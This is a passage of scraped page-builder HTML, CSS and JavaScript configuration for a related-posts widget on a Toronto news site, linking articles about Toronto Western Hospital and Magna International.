906<style>.tdb-dummy-data{position:absolute;top:50%;left:50%;transform:translate(-50%);padding:8px 40px 9px;background:rgba(0,0,0,0.35);color:#fff;z-index:100;opacity:0;-webkit-transition:opacity 0.2s;transition:opacity 0.2s}.tdc-element:hover .tdb-dummy-data{opacity:1}.tdi_84 .td-image-wrap{padding-bottom:60%}.tdi_84 .entry-thumb{background-position:center 50%}.tdi_84 .td-module-container{flex-direction:column;box-shadow:0px 4px 16px 0px rgba(22,35,58,0.1);border-color:#eaeaea;flex-grow:1}.tdi_84 .td-image-container{display:block;order:0;flex:0 0 0}.tdi_84 .td-module-meta-info{padding:35px 25px;border-color:#eaeaea}.tdi_84 .td-module-title a{box-shadow:inset 0 0 0 0 #000;color:#172842}.tdi_84 .td_module_wrap{width:100%;float:left;padding-left:0px;padding-right:0px;padding-bottom:10px;margin-bottom:10px;display:flex}.tdi_84 .tdb-block-inner{margin-left:-0px;margin-right:-0px}.tdi_84 .td-module-container:before{bottom:-10px;border-color:#eaeaea}.tdi_84{overflow:visible}.tdi_84 .td-post-vid-time{display:block}.tdi_84 .td-post-category{padding:0px;background-color:rgba(255,255,255,0);color:#90a0af;border-color:rgba(255,255,255,0);font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_84 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_84 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_84 .td-read-more{display:none}.tdi_84 .td-post-author-name{display:none;font-weight:700}.tdi_84 .td-module-comments{display:none}.tdi_84 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_84 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_84 .td-post-category:hover{background-color:rgba(255,255,255,0)!important;color:#e2687e;border-color:rgba(255,255,255,0)}.tdi_84 .td_module_wrap:hover .td-module-title a{color:#e2687e!important}.tdi_84 .td-post-author-name a{color:#90a0af}.tdi_84 .td-post-author-name:hover a{color:#e2687e}.tdi_84 .td-post-date,.tdi_84 .td-post-author-name span{color:#90a0af}.tdi_84 .td-excerpt{color:#90a0af;margin:0 0 20px 0;column-count:1;column-gap:48px;font-family:Volkhov!important;font-size:15px!important;line-height:1.6!important}.tdi_84.td_with_ajax_pagination .td-next-prev-wrap a{color:#ffffff;background-color:#49c8d1;border-color:#49c8d1;padding:2px;border-width:0px;font-size:15px}.tdi_84.td_with_ajax_pagination .td-next-prev-wrap .td-next-prev-icon-svg svg,.tdi_84.td_with_ajax_pagination .td-next-prev-wrap .td-next-prev-icon-svg svg *{fill:#ffffff}.tdi_84.td_with_ajax_pagination .td-next-prev-wrap a:hover{color:#ffffff;background-color:#e2687e;border-color:#e2687e}.tdi_84.td_with_ajax_pagination .td-next-prev-wrap a:hover .td-next-prev-icon-svg svg,.tdi_84.td_with_ajax_pagination .td-next-prev-wrap a:hover .td-next-prev-icon-svg svg *{fill:#ffffff}.tdi_84 .entry-title{margin:15px 0;font-family:Montserrat!important;font-size:24px!important;line-height:1.3!important;font-weight:800!important}.tdi_84.td_with_ajax_pagination .td-next-prev-wrap .td-next-prev-icon-svg svg{width:15px;height:calc(15px + 1px)}.tdi_84 .td-editor-date,.tdi_84 .td-editor-date .entry-date,.tdi_84 .td-post-author-name a,.tdi_84 .td-module-comments a{font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_84 .td-read-more a{font-family:Garamond,"Hoefler Text","Times New Roman",Times,serif!important}.tdi_84 .td_block_inner{display:flex;flex-wrap:wrap}html:not([class*='ie']) .tdi_84 .td-module-container:hover .entry-thumb:before{opacity:0}
906@media (min-width:768px){.tdi_84 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_84 .td-module-meta-info{padding:30px 20px}.tdi_84 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_84 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_84 .td-module-container:before{bottom:-10px}.tdi_84 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_84 .td_module_wrap .td-module-container:before{display:block!important}.tdi_84 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_84 .entry-title{font-size:16px!important}.tdi_84 .td-post-category{font-size:12px!important}.tdi_84 .td-editor-date,.tdi_84 .td-editor-date .entry-date,.tdi_84 .td-post-author-name a,.tdi_84 .td-module-comments a{font-size:12px!important}.tdi_84 .td-excerpt{font-size:13px!important}@media (min-width:768px){.tdi_84 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_84 .td-module-meta-info{padding:20px 15px}.tdi_84 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_84 .td_module_wrap{padding-left:2%;padding-right:2%;padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_84 .tdb-block-inner{margin-left:-2%;margin-right:-2%}.tdi_84 .td-module-container:before{bottom:-10px}.tdi_84 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_84 .td_module_wrap .td-module-container:before{display:block!important}.tdi_84 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_84 .entry-title{margin:12px 0;font-size:12px!important}.tdi_84 .td-excerpt{margin:0 0 15px 0;font-size:11px!important}.tdi_84 .td-post-category{font-size:10px!important}.tdi_84 .td-editor-date,.tdi_84 .td-editor-date .entry-date,.tdi_84 .td-post-author-name a,.tdi_84 .td-module-comments a{font-size:10px!important}@media (min-width:768px){.tdi_84 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_84 .td-module-meta-info{padding:30px 20px}.tdi_84 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_84 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_84 .td-module-container:before{bottom:-10px}.tdi_84 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_84 .td_module_wrap .td-module-container:before{display:block!important}.tdi_84 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_84 .td-excerpt{margin:0 0 15px 0;font-size:13px!important}.tdi_84 .entry-title{font-size:18px!important}.tdi_84 .td-post-category{font-size:12px!important}.tdi_84 .td-editor-date,.tdi_84 .td-editor-date .entry-date,.tdi_84 .td-post-author-name a,.tdi_84 .td-module-comments a{font-size:12px!important}@media (min-width:768px){.tdi_84 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style>
906<script>var block_tdi_84 = new tdBlock();
907block_tdi_84.id = "tdi_84";
908block_tdi_84.atts = '{"modules_on_row":"eyJwaG9uZSI6IjEwMCUifQ==","modules_category":"above","show_author":"none","show_date":"","show_com":"none","show_excerpt":"","show_btn":"none","block_template_id":"","related_articles_posts_limit":"2","modules_divider":"","image_height":"60","meta_info_align":"","meta_padding":"eyJhbGwiOiIzNXB4IDI1cHgiLCJsYW5kc2NhcGUiOiIzMHB4IDIwcHgiLCJwb3J0cmFpdCI6IjIwcHggMTVweCIsInBob25lIjoiMzBweCAyMHB4In0=","all_modules_space":"20","f_title_font_line_height":"1.3","nextprev":"yes","tdc_css":"eyJhbGwiOnsiZGlzcGxheSI6IiJ9LCJwb3J0cmFpdCI6eyJtYXJnaW4tYm90dG9tIjoiMzAiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3Njh9","f_title_font_weight":"800","f_title_font_transform":"","show_cat":"","f_title_font_size":"eyJwb3J0cmFpdCI6IjEyIiwiYWxsIjoiMjQiLCJsYW5kc2NhcGUiOiIxNiIsInBob25lIjoiMTgifQ==","f_title_font_family":"394","art_title":"eyJhbGwiOiIxNXB4IDAiLCJwb3J0cmFpdCI6IjEycHggMCJ9","f_ex_font_family":"638","f_btn_font_family":"fs_4","f_ex_font_line_height":"1.6","hide_image":"","modules_gap":"eyJwb3J0cmFpdCI6IjIlIiwiYWxsIjoiMCJ9","custom_title":"","shadow_shadow_size":"16","shadow_shadow_offset_vertical":"4","shadow_shadow_color":"rgba(22,35,58,0.1)","modules_category_padding":"0","title_txt":"#172842","title_txt_hover":"#e2687e","all_underline_color":"","cat_bg":"rgba(255,255,255,0)","cat_bg_hover":"rgba(255,255,255,0)","cat_txt":"#90a0af","cat_txt_hover":"#e2687e","cat_border":"rgba(255,255,255,0)","cat_border_hover":"rgba(255,255,255,0)","author_txt":"#90a0af","author_txt_hover":"#e2687e","date_txt":"#90a0af","ex_txt":"#90a0af","f_cat_font_family":"394","f_cat_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMiIsInBob25lIjoiMTIifQ==","f_cat_font_transform":"uppercase","f_meta_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMiIsInBob25lIjoiMTIifQ==","f_meta_font_family":"394","f_meta_font_transform":"uppercase","f_ex_font_size":"eyJhbGwiOiIxNSIsImxhbmRzY2FwZSI6IjEzIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTMifQ==","art_excerpt":"eyJhbGwiOiIwIDAgMjBweCAwIiwicG9ydHJhaXQiOiIwIDAgMTVweCAwIiwicGhvbmUiOiIwIDAgMTVweCAwIn0=","excerpt_middle":"yes","nextprev_icon":"#ffffff","nextprev_icon_h":"#ffffff","nextprev_bg":"#49c8d1","nextprev_bg_h":"#e2687e","pag_border_width":"0","prev_tdicon":"td-icon-left","next_tdicon":"td-icon-right","pag_padding":"2px","pag_icons_size":"15","image_size":"td_1068x0","f_title_font_style":"","f_cat_font_weight":"700","f_cat_font_style":"","f_meta_font_weight":"700","mc1_el":"21","related_articles_type":"by_tags","limit":"2","offset":"","live_filter":"cur_post_same_tags","ajax_pagination":"next_prev","td_ajax_filter_type":"td_custom_related","live_filter_cur_post_id":3775,"sample_posts_data":false,"block_type":"tdb_single_related","separator":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","related_articles_posts_offset":"","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","divider_on":"","modules_divider_color":"#eaeaea","shadow_shadow_header":"","shadow_shadow_title":"Shadow","shadow_shadow_offset_horizontal":"","shadow_shadow_spread":"","h_effect":"","image_alignment":"50","image_width":"","image_floated":"no_float","image_radius":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"- Advertisement -","video_rec_color":"","video_rec_disable":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_horiz":"content-horiz-left","meta_width":"","meta_margin":"","excerpt_col":"1","excerpt_gap":"","art_audio":"","art_audio_size":"1.5","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","modules_category_spacing":"","modules_cat_border":"","modules_category_radius":"0","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","excerpt_inline":"","show_audio":"block","hide_audio":"","meta_space":"","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radiu
908s":"","pag_space":"","pag_border_radius":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_line_height":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","all_underline_height":"","meta_bg":"","com_bg":"","com_txt":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","nextprev_border":"","nextprev_border_h":"","el_class":"","live_filter_cur_post_author":"469","td_column_number":1,"header_color":"","ajax_pagination_infinite_stop":"","td_ajax_preloading":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_84","tdc_css_class":"tdi_84","tdc_css_class_
908style":"tdi_84_rand_style"}';
909block_tdi_84.td_column_number = "1";
910block_tdi_84.block_type = "tdb_single_related";
911block_tdi_84.post_count = "2";
912block_tdi_84.found_posts = "23";
913block_tdi_84.header_color = "";
914block_tdi_84.ajax_pagination_infinite_stop = "";
915block_tdi_84.max_num_pages = "12";
916tdBlocksArray.push(block_tdi_84);
917</script>
917<div id=tdi_84 class="td_block_inner tdb-block-inner td-fix-index">
918        <div class="tdb_module_related td_module_wrap td-animation-stack">
919            <div class="td-module-container td-category-pos-above">
920                                    <div class="td-image-container">
921                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/toronto-western-hospital-twh-history-and-development-4124"  rel="bookmark" class="td-image-wrap " title="Toronto Western Hospital (TWH): History and Development" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/10/schroeder-exterior_twh.jpg"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/10/schroeder-exterior_twh.jpg');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
922                
923                <div class="td-module-meta-info">
924                    <a href="https://toronto1.one/en/jobs" class="td-post-category">Work</a>
925                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/toronto-western-hospital-twh-history-and-development-4124"  rel="bookmark" title="Toronto Western Hospital (TWH): History and Development">Toronto Western Hospital (TWH): History and Development</a></h3>
926                    <div class="td-excerpt">
927Access to quality healthcare is a cornerstone of modern society. Toronto, a bustling metropolis, is home to numerous hospitals that...</div>
928                    <div class="td-editor-date">
929                        
930                        <span class="td-author-date">
931                                                                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-10-12T11:12:48-04:00" >12.10.2024</time></span>                                                                                </span>
932                    </div>
933
934                    
935                    
936                                    </div>
937            </div>
938        </div>
939
940        
941        <div class="tdb_module_related td_module_wrap td-animation-stack">
942            <div class="td-module-container td-category-pos-above">
943                                    <div class="td-image-container">
944                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/magna-international-inc-a-toronto-born-automotive-parts-manufacturer-4113"  rel="bookmark" class="td-image-wrap " title="Magna International Inc. — A Toronto-Born Automotive Parts Manufacturer" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/10/2023_rendering_mshl_brampton_bldg_side_logo-1068x601.jpeg"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/10/2023_rendering_mshl_brampton_bldg_side_logo-1068x601.jpeg');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
945                
946                <div class="td-module-meta-info">
947                    <a href="https://toronto1.one/en/jobs" class="td-post-category">Work</a>
948                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/magna-international-inc-a-toronto-born-automotive-parts-manufacturer-4113"  rel="bookmark" title="Magna International Inc. — A Toronto-Born Automotive Parts Manufacturer">Magna International Inc. — A Toronto-Born Automotive Parts Manufacturer</a></h3>
949                    <div class="td-excerpt">
950Toronto, a bustling city of opportunities, is home to numerous factories, enterprises, and large-scale companies. Among them is Magna International...</div>
951                    <div class="td-editor-date">
952                        
953                        <span class="td-author-date">
954                                                                                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-10-10T05:33:10-04:00" >10.10.2024</time></span>                                                                                </span>
955                    </div>
956
957                    
958                    
959                                    </div>
960            </div>
961        </div>
962
963        </div><div class="td-next-prev-wrap"><a href="#" class="td-ajax-prev-page ajax-page-disabled" aria-label="prev-page" id="prev-page-tdi_84" data-td_block_id="tdi_84"><i class="td-next-prev-icon td-icon-left"></i></a><a href="#"  class="td-ajax-next-page" aria-label="next-page" id="next-page-tdi_84" data-td_block_id="tdi_84"><i class="td-next-prev-icon td-icon-right"></i></a></div></div><div class="td_block_wrap tdb_single_related tdi_85 td_with_ajax_pagination td-pb-border-top td_block_template_1 tdb-single-related-posts"  data-td-block-uid="tdi_85" >
964<style>@media (min-width:768px) and (max-width:1018px){.tdi_85{margin-bottom:30px!important}}</style>
965<style>.tdb-dummy-data{position:absolute;top:50%;left:50%;transform:translate(-50%);padding:8px 40px 9px;background:rgba(0,0,0,0.35);color:#fff;z-index:100;opacity:0;-webkit-transition:opacity 0.2s;transition:opacity 0.2s}.tdc-element:hover .tdb-dummy-data{opacity:1}.tdi_85 .td-image-wrap{padding-bottom:60%}.tdi_85 .entry-thumb{background-position:center 50%}.tdi_85 .td-module-container{flex-direction:column;box-shadow:0px 4px 16px 0px rgba(22,35,58,0.1);border-color:#eaeaea;flex-grow:1}.tdi_85 .td-image-container{display:block;order:0;flex:0 0 0}.tdi_85 .td-module-meta-info{padding:35px 25px;border-color:#eaeaea}.tdi_85 .td-module-title a{box-shadow:inset 0 0 0 0 #000;color:#172842}.tdi_85 .td_module_wrap{width:100%;float:left;padding-left:0px;padding-right:0px;padding-bottom:10px;margin-bottom:10px;display:flex}.tdi_85 .tdb-block-inner{margin-left:-0px;margin-right:-0px}.tdi_85 .td-module-container:before{bottom:-10px;border-color:#eaeaea}.tdi_85{overflow:visible}.tdi_85 .td-post-vid-time{display:block}.tdi_85 .td-post-category{padding:0px;background-color:rgba(255,255,255,0);color:#90a0af;border-color:rgba(255,255,255,0);font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_85 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_85 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_85 .td-read-more{display:none}.tdi_85 .td-post-author-name{display:none;font-weight:700}.tdi_85 .td-module-comments{display:none}.tdi_85 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_85 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_85 .td-post-category:hover{background-color:rgba(255,255,255,0)!important;color:#e2687e;border-color:rgba(255,255,255,0)}.tdi_85 .td_module_wrap:hover .td-module-title a{color:#e2687e!important}.tdi_85 .td-post-author-name a{color:#90a0af}.tdi_85 .td-post-author-name:hover a{color:#e2687e}.tdi_85 .td-post-date,.tdi_85 .td-post-author-name span{color:#90a0af}.tdi_85 .td-excerpt{color:#90a0af;margin:0 0 20px 0;column-count:1;column-gap:48px;font-family:Volkhov!important;font-size:15px!important;line-height:1.6!important}.tdi_85.td_with_ajax_pagination .td-next-prev-wrap a{color:#ffffff;background-color:#49c8d1;border-color:#49c8d1;padding:2px;border-width:0px;font-size:15px}.tdi_85.td_with_ajax_pagination .td-next-prev-wrap .td-next-prev-icon-svg svg,.tdi_85.td_with_ajax_pagination .td-next-prev-wrap .td-next-prev-icon-svg svg *{fill:#ffffff}.tdi_85.td_with_ajax_pagination .td-next-prev-wrap a:hover{color:#ffffff;background-color:#e2687e;border-color:#e2687e}.tdi_85.td_with_ajax_pagination .td-next-prev-wrap a:hover .td-next-prev-icon-svg svg,.tdi_85.td_with_ajax_pagination .td-next-prev-wrap a:hover .td-next-prev-icon-svg svg *{fill:#ffffff}.tdi_85 .entry-title{margin:15px 0;font-family:Montserrat!important;font-size:24px!important;line-height:1.3!important;font-weight:800!important}.tdi_85.td_with_ajax_pagination .td-next-prev-wrap .td-next-prev-icon-svg svg{width:15px;height:calc(15px + 1px)}.tdi_85 .td-editor-date,.tdi_85 .td-editor-date .entry-date,.tdi_85 .td-post-author-name a,.tdi_85 .td-module-comments a{font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_85 .td-read-more a{font-family:Garamond,"Hoefler Text","Times New Roman",Times,serif!important}.tdi_85 .td_block_inner{display:flex;flex-wrap:wrap}html:not([class*='ie']) .tdi_85 .td-module-container:hover .entry-thumb:before{opacity:0}
965@media (min-width:768px){.tdi_85 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_85 .td-module-meta-info{padding:30px 20px}.tdi_85 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_85 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_85 .td-module-container:before{bottom:-10px}.tdi_85 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_85 .td_module_wrap .td-module-container:before{display:block!important}.tdi_85 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_85 .entry-title{font-size:16px!important}.tdi_85 .td-post-category{font-size:12px!important}.tdi_85 .td-editor-date,.tdi_85 .td-editor-date .entry-date,.tdi_85 .td-post-author-name a,.tdi_85 .td-module-comments a{font-size:12px!important}.tdi_85 .td-excerpt{font-size:13px!important}@media (min-width:768px){.tdi_85 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_85 .td-module-meta-info{padding:20px 15px}.tdi_85 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_85 .td_module_wrap{padding-left:2%;padding-right:2%;padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_85 .tdb-block-inner{margin-left:-2%;margin-right:-2%}.tdi_85 .td-module-container:before{bottom:-10px}.tdi_85 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_85 .td_module_wrap .td-module-container:before{display:block!important}.tdi_85 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_85 .entry-title{margin:12px 0;font-size:12px!important}.tdi_85 .td-excerpt{margin:0 0 15px 0;font-size:11px!important}.tdi_85 .td-post-category{font-size:10px!important}.tdi_85 .td-editor-date,.tdi_85 .td-editor-date .entry-date,.tdi_85 .td-post-author-name a,.tdi_85 .td-module-comments a{font-size:10px!important}@media (min-width:768px){.tdi_85 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_85 .td-module-meta-info{padding:30px 20px}.tdi_85 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_85 .td_module_wrap{padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_85 .td-module-container:before{bottom:-10px}.tdi_85 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_85 .td_module_wrap .td-module-container:before{display:block!important}.tdi_85 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_85 .td-excerpt{margin:0 0 15px 0;font-size:13px!important}.tdi_85 .entry-title{font-size:18px!important}.tdi_85 .td-post-category{font-size:12px!important}.tdi_85 .td-editor-date,.tdi_85 .td-editor-date .entry-date,.tdi_85 .td-post-author-name a,.tdi_85 .td-module-comments a{font-size:12px!important}@media (min-width:768px){.tdi_85 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style>
965<script>var block_tdi_85 = new tdBlock();
966block_tdi_85.id = "tdi_85";
967block_tdi_85.atts = '{"modules_on_row":"eyJwaG9uZSI6IjEwMCUifQ==","modules_category":"above","show_author":"none","show_date":"","show_com":"none","show_excerpt":"","show_btn":"none","block_template_id":"","related_articles_posts_limit":"2","modules_divider":"","image_height":"60","meta_info_align":"","meta_padding":"eyJhbGwiOiIzNXB4IDI1cHgiLCJsYW5kc2NhcGUiOiIzMHB4IDIwcHgiLCJwb3J0cmFpdCI6IjIwcHggMTVweCIsInBob25lIjoiMzBweCAyMHB4In0=","all_modules_space":"20","f_title_font_line_height":"1.3","nextprev":"yes","tdc_css":"eyJhbGwiOnsiZGlzcGxheSI6IiJ9LCJwb3J0cmFpdCI6eyJtYXJnaW4tYm90dG9tIjoiMzAiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3Njh9","f_title_font_weight":"800","f_title_font_transform":"","show_cat":"","f_title_font_size":"eyJwb3J0cmFpdCI6IjEyIiwiYWxsIjoiMjQiLCJsYW5kc2NhcGUiOiIxNiIsInBob25lIjoiMTgifQ==","f_title_font_family":"394","art_title":"eyJhbGwiOiIxNXB4IDAiLCJwb3J0cmFpdCI6IjEycHggMCJ9","f_ex_font_family":"638","f_btn_font_family":"fs_4","f_ex_font_line_height":"1.6","hide_image":"","modules_gap":"eyJwb3J0cmFpdCI6IjIlIiwiYWxsIjoiMCJ9","custom_title":"","shadow_shadow_size":"16","shadow_shadow_offset_vertical":"4","shadow_shadow_color":"rgba(22,35,58,0.1)","modules_category_padding":"0","title_txt":"#172842","title_txt_hover":"#e2687e","all_underline_color":"","cat_bg":"rgba(255,255,255,0)","cat_bg_hover":"rgba(255,255,255,0)","cat_txt":"#90a0af","cat_txt_hover":"#e2687e","cat_border":"rgba(255,255,255,0)","cat_border_hover":"rgba(255,255,255,0)","author_txt":"#90a0af","author_txt_hover":"#e2687e","date_txt":"#90a0af","ex_txt":"#90a0af","f_cat_font_family":"394","f_cat_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMiIsInBob25lIjoiMTIifQ==","f_cat_font_transform":"uppercase","f_meta_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMiIsInBob25lIjoiMTIifQ==","f_meta_font_family":"394","f_meta_font_transform":"uppercase","f_ex_font_size":"eyJhbGwiOiIxNSIsImxhbmRzY2FwZSI6IjEzIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTMifQ==","art_excerpt":"eyJhbGwiOiIwIDAgMjBweCAwIiwicG9ydHJhaXQiOiIwIDAgMTVweCAwIiwicGhvbmUiOiIwIDAgMTVweCAwIn0=","excerpt_middle":"yes","nextprev_icon":"#ffffff","nextprev_icon_h":"#ffffff","nextprev_bg":"#49c8d1","nextprev_bg_h":"#e2687e","pag_border_width":"0","prev_tdicon":"td-icon-left","next_tdicon":"td-icon-right","pag_padding":"2px","pag_icons_size":"15","image_size":"td_1068x0","f_title_font_style":"","f_cat_font_weight":"700","f_cat_font_style":"","f_meta_font_weight":"700","mc1_el":"21","limit":"2","offset":"","live_filter":"cur_post_same_categories","ajax_pagination":"next_prev","td_ajax_filter_type":"td_custom_related","live_filter_cur_post_id":3775,"sample_posts_data":false,"block_type":"tdb_single_related","separator":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","related_articles_type":"","related_articles_posts_offset":"","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","divider_on":"","modules_divider_color":"#eaeaea","shadow_shadow_header":"","shadow_shadow_title":"Shadow","shadow_shadow_offset_horizontal":"","shadow_shadow_spread":"","h_effect":"","image_alignment":"50","image_width":"","image_floated":"no_float","image_radius":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"